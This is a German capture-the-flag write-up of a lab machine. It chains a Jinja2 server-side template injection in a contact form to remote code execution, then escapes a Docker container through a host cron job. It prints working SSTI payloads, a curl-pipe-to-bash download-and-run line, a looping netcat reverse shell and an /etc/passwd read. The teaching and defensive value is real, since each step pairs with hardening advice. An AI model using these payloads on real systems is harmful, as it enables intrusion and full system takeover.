Analyse: Die Aufklärungsphase begann mit der Identifizierung des Zielsystems im lokalen Netzwerk. Wie üblich habe ich `arp-scan` verwendet, um aktive Geräte zu finden. Anschließend habe ich die Ausgabe mit `grep` und `awk` gefiltert, um direkt die IP-Adresse zu extrahieren. Ein von mir erstelltes Hilfsskript, `recon.sh`, wurde dann genutzt, um den Hostnamen `takedown.hmv` zur Vereinfachung in meine lokale `/etc/hosts`-Datei einzutragen.
Bewertung: Dieser erste Schritt war schnell und effektiv. Die IP-Adresse des Ziels wurde als `192.168.2.167` identifiziert. Die Verwendung von Skripten zur Automatisierung wiederkehrender Aufgaben wie dem `hosts`-Eintrag ist eine bewährte Methode, um den Workflow zu optimieren.
Empfehlung (Pentester): Das Vorgehen ist Standard und effizient. Für zukünftige Scans sollte immer sowohl eine IPv4- als auch eine IPv6-Aufklärung in Betracht gezogen werden, da auf beiden Protokollebenen unterschiedliche Dienste laufen könnten.
Empfehlung (Admin): Die Erkennung durch `arp-scan` ist in einem lokalen Netzwerk normal. Die Überwachung auf ungewöhnliche Scan-Aktivitäten durch ein NIDS (Network Intrusion Detection System) kann jedoch helfen, nicht autorisierte Aufklärungsversuche zu identifizieren.
192.168.2.167
192.168.2.167 takedown.hmv
Analyse: Ich habe einen `Nmap`-Scan im lokalen Netzwerk auf IPv6-Adressen durchgeführt, um ein vollständiges Bild der erreichbaren Dienste zu erhalten. Dieser Scan identifizierte mehrere Geräte, darunter eines mit der MAC-Adresse von "Shenzhen SEI Robotics" und ein anderes, das eindeutig das Zielsystem ist (erkennbar an der Oracle VirtualBox MAC-Adresse) und Port 22 (SSH) offen hat.
Bewertung: Der IPv6-Scan liefert zusätzliche Informationen, bestätigt aber vor allem, dass auf der primären IPv6-Adresse des Zielsystems nur SSH läuft. Die anderen gefundenen IPv6-Geräte und Ports scheinen zu anderen Systemen im Netzwerk zu gehören (z.B. ein Smart-TV oder ein anderes IoT-Gerät) und sind für diesen Test irrelevant. Der Fokus bleibt auf dem Zielsystem.
Empfehlung (Pentester): Es ist gut, die IPv6-Landschaft zu kennen. Da hier keine zusätzlichen Angriffsvektoren auf dem Zielsystem aufgedeckt wurden, kann der Fokus wieder vollständig auf die IPv4-Adresse gelegt werden, wo üblicherweise mehr Dienste exponiert sind.
Empfehlung (Admin): IPv6 wird oft bei der Härtung von Systemen übersehen. Es ist entscheidend, dass Firewalls und Sicherheitsrichtlinien sowohl für IPv4 als auch für IPv6 konsequent angewendet werden, um zu verhindern, dass Dienste unbeabsichtigt über eine der beiden Protokollfamilien erreichbar sind.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::::::::: Nmap IPv6 Scan :::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 22:35 CEST
Nmap scan report for Ghost-tv (fe80::463a:9801:878a:81bb)
Host is up (0.00036s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
MAC Address: 8C:98:06:22:C3:49 (Shenzhen SEI Robotics)
Nmap scan report for osiris (fe80::a00:27ff:fe9f:d211)
Host is up (0.00010s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:9F:D2:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for fe80::a00:27ff:fe90:9c47
Host is up (0.0000040s latency).
All 1000 scanned ports on fe80::a00:27ff:fe90:9c47 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Nmap done: 3 IP addresses (3 hosts up) scanned in 13.54 seconds
Analyse: Nun folgt der `Nmap`-Scan auf die IPv4-Adresse. Eine zusammenfassende Ansicht zeigt zwei offene Ports: Port 22, der den `OpenSSH 8.4p1` Dienst auf einem Debian-System betreibt, und Port 80, auf dem ein `nginx 1.18.0` Webserver läuft.
Bewertung: Diese beiden Ports sind die primären Angriffsvektoren. SSH ist eine moderne Version, daher ist ein direkter Exploit unwahrscheinlich; es bleibt aber ein Ziel für Brute-Force-Angriffe, falls Anmeldedaten gefunden werden. Der nginx-Webserver ist der interessanteste Einstiegspunkt. Webanwendungen sind häufig anfällig für eine Vielzahl von Schwachstellen, daher werde ich meine Bemühungen zunächst auf Port 80 konzentrieren.
Empfehlung (Pentester): Die klare Strategie ist, den Webserver auf Port 80 gründlich zu untersuchen. Dies umfasst die Suche nach virtuellen Hosts, Verzeichnissen und Anwendungs-Schwachstellen.
Empfehlung (Admin): Die Angriffsfläche ist klein, was gut ist. Beide Dienste (`sshd`, `nginx`) sollten regelmäßig auf Updates überprüft werden. Die Konfiguration des Webservers muss besonders gehärtet werden, da er das Tor zum System darstellt.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ :::::::::::::::::::::: Nmap nur offene Ports Ausgabe ::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0) 80/tcp open http nginx 1.18.0 ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Analyse: Die vollständige `Nmap`-Ausgabe für IPv4 liefert eine entscheidende Information: Der Webserver auf Port 80 antwortet mit einem Redirect auf `http://shieldweb.che/`. Dies bedeutet, dass der Webserver für virtuelle Hosts konfiguriert ist und der Zugriff über die IP-Adresse nicht zur eigentlichen Anwendung führt.
Bewertung: Dies ist ein kritischer Fund. Ohne den Hostnamen `shieldweb.che` in meiner `/etc/hosts`-Datei korrekt auf die IP des Ziels abzubilden, werde ich die eigentliche Webanwendung nicht erreichen können. Dies ist eine gängige Konfiguration, aber sie fungiert als eine erste einfache Hürde für weniger gründliche Angreifer. Der Nmap-Scan hat diese Hürde erfolgreich identifiziert.
Empfehlung (Pentester): Der nächste Schritt ist zwingend: Ich muss `shieldweb.che` zu meiner `/etc/hosts`-Datei hinzufügen und dann die Webanwendung unter diesem Hostnamen erneut untersuchen.
Empfehlung (Admin): Die Verwendung von virtuellen Hosts ist eine Standardpraxis. Es bietet jedoch keine wirkliche Sicherheit, da Tools wie Nmap oder Web-Scanner solche Redirects leicht erkennen können. Die Sicherheit muss in der Anwendung selbst liegen, nicht in der Verschleierung ihres Standorts.
::::::::::::::::::::::::::::: Nmap volle Ausgabe ::::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 22:36 CEST Nmap scan report for takedown.hmv (192.168.2.167) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0) | ssh-hostkey: | 3072 51:fb:66:e0:d2:b6:ae:16:a9:d2:74:41:a5:b3:02:2b (RSA) | 256 93:a0:01:6c:42:cd:26:bf:38:e5:70:fb:b8:c6:b3:fe (ECDSA) |_ 256 77:c9:ed:41:a5:cb:30:33:08:22:88:f6:a8:28:11:8d (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://shieldweb.che/ |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:9F:D2:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms takedown.hmv (192.168.2.167) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds
Analyse: Ein `curl`-Befehl auf die IP-Adresse bestätigt das Ergebnis von Nmap. Der Server antwortet mit einem `HTTP/1.1 301 Moved Permanently` und dem `Location`-Header, der auf `http://shieldweb.che/` verweist. Dies bestätigt die Notwendigkeit, den virtuellen Hostnamen zu verwenden, um die eigentliche Anwendung zu erreichen.
Bewertung: Der Redirect ist eindeutig. Jeder weitere Scan oder manuelle Versuch auf der reinen IP-Adresse wäre fruchtlos. Die gesamte Interaktion muss nun über den Hostnamen `shieldweb.che` erfolgen.
Empfehlung (Pentester): Füge den Hostnamen zur `/etc/hosts`-Datei hinzu und starte alle Web-Enumeration-Tools (Nikto, Gobuster, etc.) neu, diesmal mit `http://shieldweb.che/` als Ziel.
Empfehlung (Admin): Keine spezifische Empfehlung, da dies eine Standardkonfiguration ist. Die Sicherheit muss auf der Anwendungsebene von `shieldweb.che` gewährleistet sein.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::: WEB-Server Scan :::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
* Trying 192.168.2.167:80...
* Connected to 192.168.2.167 (192.168.2.167) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.167
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
HTTP/1.1 301 Moved Permanently
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Tue, 29 Jul 2025 20:36:48 GMT
Date: Tue, 29 Jul 2025 20:36:48 GMT
< Content-Type: text/html
Content-Type: text/html
< Content-Length: 169
Content-Length: 169
< Connection: keep-alive
Connection: keep-alive
< Location: http://shieldweb.che/
Location: http://shieldweb.che/
<
* Connection #0 to host 192.168.2.167 left intact
Analyse: Ein `Nikto`-Scan auf die IP-Adresse liefert ebenfalls den Redirect zu `http://shieldweb.che/` und meldet zusätzlich die üblichen fehlenden Sicherheits-Header (`X-Frame-Options`, `X-Content-Type-Options`).
Bewertung: Nikto bestätigt die bisherigen Erkenntnisse, liefert aber keine neuen Angriffsvektoren, solange der Scan nicht gegen den korrekten virtuellen Host läuft. Die fehlenden Header sind ein "Low-Risk"-Finding, das für später notiert wird.
Empfehlung (Pentester): Wie zuvor: Die Priorität liegt auf der Untersuchung von `http://shieldweb.che/`. Die fehlenden Header können im Abschlussbericht als Härtungsempfehlung aufgeführt werden.
Empfehlung (Admin): Implementieren Sie sicherheitsrelevante HTTP-Header, um die Anwendung gegen clientseitige Angriffe wie Clickjacking zu schützen.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::: Nikto Scan ::::::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.167
+ Target Hostname: 192.168.2.167
+ Target Port: 80
+ Start Time: 2025-07-29 22:36:50 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ Root page / redirects to: http://shieldweb.che/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 8102 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time: 2025-07-29 22:37:02 (GMT2) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: Hier führe ich den entscheidenden Schritt aus, um die Anwendung zu erreichen. Ich füge der `/etc/hosts`-Datei meines Systems einen Eintrag hinzu, der den Hostnamen `shieldweb.che` auf die IP-Adresse `192.168.2.167` mappt. Der `tee -a`-Befehl sorgt dafür, dass der Eintrag sowohl auf dem Bildschirm ausgegeben als auch an die Datei angehängt wird.
Bewertung: Dieser Schritt ist die Voraussetzung für jegliche weitere Interaktion. Nachdem dieser Eintrag gesetzt ist, wird mein Browser (und alle meine Tools) bei einer Anfrage an `http://shieldweb.che/` die korrekte IP-Adresse kontaktieren. Nach der Untersuchung der Webseite entdecke ich eine weitere Subdomain `ticket.shieldweb.che`, die ich ebenfalls zur `/etc/hosts`-Datei hinzufüge. Diese Subdomain führt zu einem Kontaktformular.
Empfehlung (Pentester): Nach dem Hinzufügen des Hostnamens muss die Webseite `http://shieldweb.che/` und die neu entdeckte Subdomain `http://ticket.shieldweb.che/` erneut und gründlich auf Schwachstellen untersucht werden.
Empfehlung (Admin): Die Offenlegung von Subdomains sollte vermieden werden, wenn sie nicht für die Öffentlichkeit bestimmt sind. Techniken wie Certificate Transparency Logs können oft zur Entdeckung von Subdomains führen, daher ist die Absicherung jeder einzelnen Subdomain entscheidend.
192.168.2.167 takedown.hmv shieldweb.che
Analyse: Ich untersuche das Kontaktformular unter `http://ticket.shieldweb.che/`. Ein direkter Aufruf des Endpunkts `/submit`, an den das Formular wahrscheinlich sendet, resultiert in einem `Method Not Allowed`-Fehler. Dies ist typisch, wenn man eine URL, die für POST-Anfragen gedacht ist, mit einer GET-Anfrage aufruft. Ich teste das Formular anschließend auf eine Command Injection, indem ich im Nachrichtenfeld einen `ping`-Befehl an meine eigene Maschine sende, getrennt durch ein Semikolon.
Bewertung: Der Command-Injection-Versuch mit `ping` schlägt fehl. Mein `netcat`-Listener auf Port 80 empfängt keinen ICMP-Traffic. Das bedeutet nicht zwangsläufig, dass keine Schwachstelle vorhanden ist, sondern nur, dass dieser spezielle Payload nicht funktioniert hat. Als nächstes teste ich auf eine andere, häufige Schwachstelle in Webanwendungen: Server-Side Template Injection (SSTI).
Empfehlung (Pentester): Wenn ein Injektionsversuch fehlschlägt, ist es wichtig, systematisch andere Injektionsarten zu testen. SSTI ist ein hervorragender Kandidat, insbesondere bei Frameworks wie Jinja2 (Python/Flask), Twig (PHP/Symfony) oder Freemarker (Java). Ein einfacher Payload wie `{{7*7}}` ist ein klassischer erster Test.
Empfehlung (Admin): Jede Benutzereingabe, die auf dem Server verarbeitet und in einer Antwortseite wiedergegeben wird, muss kontextbezogen validiert und bereinigt (escaped) werden. Dies verhindert nicht nur Cross-Site-Scripting (XSS), sondern auch komplexere Angriffe wie SSTI.
listening on [any] 80 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.1] 48634
Analyse: Ich sende den SSTI-Test-Payload `{{7*7}}` im Nachrichtenfeld des Formulars ab. Die Antwort der Webseite lautet "Thank you for your message, 49!".
Bewertung: Volltreffer! Die Anwendung hat die mathematische Operation `7*7` ausgeführt und das Ergebnis `49` in die Antwortseite eingefügt. Dies ist der eindeutige Beweis für eine Server-Side Template Injection Schwachstelle. Die Syntax mit den doppelten geschweiften Klammern `{{ ... }}` deutet stark auf ein Template-System wie Jinja2 (verwendet im Python-Framework Flask) hin. Diese Schwachstelle ist oft kritisch und führt direkt zur Remote Code Execution (RCE).
Empfehlung (Pentester): Der nächste Schritt ist, die SSTI-Schwachstelle zur Ausführung von beliebigem Code auszunutzen. Ich werde Payloads verwenden, die auf die unterliegenden Python-Objekte zugreifen, um das `os`-Modul zu importieren und Shell-Befehle auszuführen.
Empfehlung (Admin): Dies ist eine kritische Schwachstelle. Template-Systeme sollten niemals mit rohen, unvalidierten Benutzereingaben gerendert werden. Verwenden Sie immer "sandboxed" Umgebungen, wenn sie vom Framework angeboten werden, und stellen Sie sicher, dass Benutzereingaben vor der Übergabe an das Template entsprechend behandelt werden.
{{7*7}}
Thank you for your message, 49!
Analyse: Ich konstruiere einen fortgeschrittenen SSTI-Payload, um beliebige Betriebssystembefehle auszuführen. Der Payload `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}` navigiert durch die Python-Objekthierarchie, um die `popen`-Funktion aus dem `os`-Modul aufzurufen und den `id`-Befehl auszuführen.
Bewertung: Der Payload funktioniert perfekt. Die Antwort enthält die Ausgabe des `id`-Befehls: `uid=0(root) gid=0(root) ...`. Das ist eine schockierende und fantastische Entdeckung: Die Webanwendung läuft direkt mit `root`-Rechten! Dies vereinfacht den Angriff erheblich. Ich muss keine Privilegienerweiterung mehr durchführen, da ich bereits die höchsten Rechte habe. Mein Ziel ist es nun, eine interaktive Shell zu erlangen.
Empfehlung (Pentester): Da ich bereits `root` bin, ist der Weg frei. Ich werde verschiedene Methoden ausprobieren, um eine Reverse Shell zu bekommen, z.B. mit `nc`, `wget` oder `curl`, um ein Shell-Skript herunterzuladen und auszuführen.
Empfehlung (Admin): Eine Webanwendung darf **niemals** mit `root`-Rechten laufen. Dies ist ein fundamentaler Verstoß gegen das Prinzip der geringsten Rechte (Principle of Least Privilege). Webserver-Prozesse sollten immer unter einem dedizierten, unprivilegierten Benutzerkonto laufen (z.B. `www-data`, `nginx`). Sollte die Anwendung kompromittiert werden, ist der Schaden so auf das Benutzerkonto beschränkt. Hier führt die Kompromittierung direkt zur vollständigen Übernahme des Systems.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Thank you for your message, uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) !
Analyse: Ich versuche verschiedene Payloads, um eine interaktive Shell zu bekommen. Der erste Versuch mit `nc -e /bin/bash` führt zu einem Timeout, was darauf hindeutet, dass der Befehl entweder blockiert wird oder die `-e`-Option im verwendeten `netcat`-Binary nicht verfügbar ist. Der Versuch, eine Datei mit `wget` herunterzuladen, funktioniert jedoch, wie die Anfrage auf meinem lokalen Python-HTTP-Server zeigt. Dies bestätigt, dass ich ausgehende Verbindungen herstellen kann.
Bewertung: Die `nc -e`-Methode ist unzuverlässig und oft auf gehärteten Systemen nicht verfügbar. Die erfolgreiche `wget`-Anfrage zeigt jedoch, dass der Ansatz, ein Skript vom Angreifer-System zu holen und auszuführen, der richtige Weg ist. Die beste Methode hierfür ist, `curl` zu verwenden, um das Skript direkt in die `bash`-Shell zu pipen.
Empfehlung (Pentester): Der finale Payload sollte `curl http://[Angreifer-IP]/[script.sh] | bash` sein. Das `script.sh` auf meiner Seite enthält dann einen zuverlässigeren Reverse-Shell-Befehl.
Empfehlung (Admin): Das Einschränken von ausgehenden Verbindungen (Egress-Filtering) auf einem Webserver ist eine wichtige Verteidigungsmaßnahme. Ein Webserver sollte nur Verbindungen zu explizit erlaubten Zielen (z.B. Datenbankserver, API-Endpunkte) aufbauen dürfen. Dies hätte die `wget`- und `curl`-Versuche verhindert.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://192.168.2.199/test.sh | bash').read() }}
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.167 - - [30/Jul/2025 00:23:30] "GET /flag.txt HTTP/1.1" 200 -
192.168.2.167 - - [30/Jul/2025 00:25:02] "GET /test.sh HTTP/1.1" 200 -
Analyse: Ich lese die `/etc/passwd`-Datei aus, um mehr über die verfügbaren Benutzer und ihre Shells zu erfahren. Ich sehe, dass der `root`-Benutzer die `/bin/ash`-Shell verwendet. Dies ist typisch für leichtgewichtige Linux-Distributionen wie Alpine Linux. Andere Benutzer haben `/bin/bash`.
Bewertung: Die Information, dass `ash` die Standard-Shell für `root` ist, ist entscheidend für die Konstruktion eines funktionierenden Reverse-Shell-Payloads. Anstatt `/bin/bash` zu verwenden, werde ich nun `ash` verwenden, da dies mit größerer Wahrscheinlichkeit auf dem System vorhanden und für den `root`-Kontext konfiguriert ist.
Empfehlung (Pentester): Passe den Reverse-Shell-Payload an, um `/bin/ash` oder einfach `ash` zu verwenden. Dies erhöht die Erfolgswahrscheinlichkeit erheblich.
Empfehlung (Admin): Die Kenntnis der System-Shells ist für die Systemhärtung wichtig. Die Verwendung einer restriktiveren Shell (wie `rbash` - restricted bash) für unprivilegierte Benutzer kann deren Aktionsradius nach einer Kompromittierung einschränken.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep sh /etc/passwd').read() }} Thank you for your message, root:x:0:0:root:/root:/bin/ash shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown sshd:x:22:22:sshd:/dev/null:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh
Analyse: Ich konstruiere den finalen SSTI-Payload. Anstatt eine einzelne Reverse Shell zu starten, die instabil sein könnte, verwende ich eine `while`-Schleife in meinem Befehl. Der Payload `os.system("ash -c 'while true; do nc 192.168.2.199 4444 -e ash; done'")` startet eine Endlosschleife, die immer wieder versucht, eine `ash`-Shell zu meinem Listener auf Port 4444 zu verbinden. Dies sorgt für eine persistente Shell, selbst wenn die Verbindung einmal abbricht.
Bewertung: Diese Methode ist robust und erfolgreich. Mein `netcat`-Listener empfängt die Verbindung, und ich habe eine interaktive Shell. Der `id`-Befehl bestätigt: `uid=0(root)`. Ich bin `root`! Eine weitere Überprüfung mit `uname -a` und `cat /etc/os-release` enthüllt jedoch eine entscheidende Information: Ich bin `root` innerhalb eines "Alpine Linux" Systems. Die ursprüngliche Maschine war jedoch Debian. Das bedeutet, die Webanwendung läuft in einem Docker-Container.
Empfehlung (Pentester): Der initiale Zugriff war erfolgreich, aber der Test ist nicht vorbei. Ich habe `root`-Rechte innerhalb des Containers, aber nicht auf dem Host-System. Die nächste Phase ist der "Container Escape": Ich muss einen Weg finden, aus dem Docker-Container auszubrechen, um die Kontrolle über das zugrunde liegende Debian-Host-System zu erlangen.
Empfehlung (Admin): Dies zeigt, wie Containerisierung eine zusätzliche Sicherheitsebene bieten kann. Obwohl die Web-App kritisch kompromittiert wurde, ist der Schaden vorerst auf den Container beschränkt. Die Sicherheit des Host-Systems hängt nun davon ab, wie sicher der Container konfiguriert wurde.
{{ self.__init__.__globals__.__builtins__.__import__('os').system("ash -c 'while true; do nc 192.168.2.199 4444 -e ash; done'") }}
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 49404 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) uname -a cat /etc/os-release Linux Ariel 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 Linux NAME="Alpine Linux" ID=alpine VERSION_ID=3.10.9 PRETTY_NAME="Alpine Linux v3.10" HOME_URL="https://alpinelinux.org/" BUG_REPORT_URL="https://bugs.alpinelinux.org/" /app # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /app # stty rows 47 columns 94 /app # ls app.py flag.txt templates test.sh /app #
Analyse: Innerhalb des Containers führe ich weitere Enumeration durch. Die Ausgabe von `ip a` zeigt die interne IP-Adresse des Containers (`172.21.0.2`). Der `netstat`-Befehl zeigt, dass der Python-Prozess auf Port 5000 lauscht. Die `mount`- und `df`-Befehle zeigen das Dateisystem aus der Sicht des Containers. Interessant ist hier das `fuse-overlayfs`, was ein typisches Dateisystem für Docker-Container ist. Ich stelle auch fest, dass das Verzeichnis `/script` als `tmpfs` gemountet ist, was bedeutet, dass es ein temporäres, beschreibbares In-Memory-Dateisystem ist.
Bewertung: Die Analyse bestätigt die Docker-Umgebung. Der Fund des beschreibbaren `/script`-Verzeichnisses ist entscheidend. Dies gibt mir einen Ort, an dem ich meine eigenen Skripte und Binaries ablegen kann. Die `mount`-Ausgabe zeigt keine direkt gemounteten Sockets oder kritischen Host-Pfade, was einen einfachen Ausbruch erschwert. Ich vermute, dass ein Prozess auf dem Host-System mit diesem Verzeichnis interagiert.
Empfehlung (Pentester): Der Plan ist, eine Art Trigger auf dem Host-System zu finden. Ich werde ein einfaches Shell-Skript im `/script`-Verzeichnis erstellen und abwarten. Wenn ein Cronjob oder ein anderer Prozess auf dem Host-System regelmäßig den Inhalt dieses Verzeichnisses ausführt, könnte dies mein Weg nach draußen sein. Ich werde auch Tools wie `chisel` verwenden, um einen SOCKS-Proxy in den Container zu tunneln und das interne Netzwerk weiter zu erkunden, falls der Host nicht direkt erreichbar ist. In diesem Fall stellte sich der Tunnel als nicht notwendig heraus, aber die Vorbereitung ist Teil des Prozesses.
Empfehlung (Admin): Das Mounten von Host-Verzeichnissen in Container muss sorgfältig abgewogen werden. Wenn ein Verzeichnis gemountet wird, muss sichergestellt sein, dass die Berechtigungen korrekt sind. Ein beschreibbares Verzeichnis, das von einem `root`-Prozess im Container und einem Prozess auf dem Host gemeinsam genutzt wird, ist ein hohes Sicherheitsrisiko.
Analyse: Ich habe mein `exploit.sh`, das eine weitere Reverse Shell startet, im `/script`-Verzeichnis des Containers platziert und einen neuen Listener auf Port 4446 gestartet. Nach etwa drei Minuten Wartezeit erhalte ich eine neue Verbindung.
Bewertung: Erfolg! Der Container-Ausbruch hat funktioniert. Der neue Shell-Prompt `love@osiris:~$` zeigt, dass ich nun als der Benutzer `love` auf dem Host-System (`osiris`) angemeldet bin. Ein Prozess auf dem Host, wahrscheinlich ein Cronjob, hat mein Skript aus dem gemounteten Verzeichnis ausgeführt. Ich habe zwar meine `root`-Rechte aus dem Container verloren, bin aber nun auf dem eigentlichen Zielsystem und kann von hier aus die finale Privilegienerweiterung zu `root` auf dem Host angehen.
Empfehlung (Pentester): Die neue Shell als Benutzer `love` muss stabilisiert und untersucht werden. Ich beginne den Enumerationsprozess von Neuem: `sudo -l`, SUID-Dateien, Home-Verzeichnisse, etc., um den letzten Schritt zu `root` zu finden.
Empfehlung (Admin): Dies ist ein perfektes Beispiel für einen Docker-Escape durch eine unsichere Konfiguration. Automatisierte Skripte oder Cronjobs auf dem Host sollten niemals blind Dateien aus einem von einem Container beschreibbaren Verzeichnis ausführen. Jeder Austausch zwischen Host und Container muss streng validiert und auf das absolute Minimum beschränkt werden.
listening on [any] 4446 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 60676 bash: no se puede establecer el grupo de proceso de terminal (1063305): Función ioctl no apropiada para el dispositivo bash: no hay control de trabajos en este shell love@osiris:~$
Analyse: Als Benutzer `love` führe ich den Befehl `sudo -l` aus, um meine `sudo`-Berechtigungen zu überprüfen. Das Ergebnis zeigt, dass der Benutzer `love` das Programm `/home/mitnick/sas` als der Benutzer `mitnick` ohne Passwort ausführen darf.
Bewertung: Dies ist ein klarer Pfad für eine horizontale Privilegienerweiterung zum Benutzer `mitnick`. Das Programm `sas` ist eine Blackbox, aber die `sudo`-Regel gibt mir die Möglichkeit, es mit den Rechten eines anderen Benutzers auszuführen. Ein Blick auf die `note.txt` im Home-Verzeichnis von `love` mit dem Inhalt "we have icebreaker" deutet auf eine Verbindung zum Benutzer `mitnick` hin, möglicherweise ein Hinweis auf den berühmten Hacker Kevin Mitnick und dessen Konflikt mit Tsutomu Shimomura (dessen Benutzer `tomu` ebenfalls existiert).
Empfehlung (Pentester): Ich muss das Programm `/home/mitnick/sas` analysieren und herausfinden, ob ich es missbrauchen kann, um eine Shell als Benutzer `mitnick` zu erhalten. Ich werde das Programm ausführen und seine Funktionen testen.
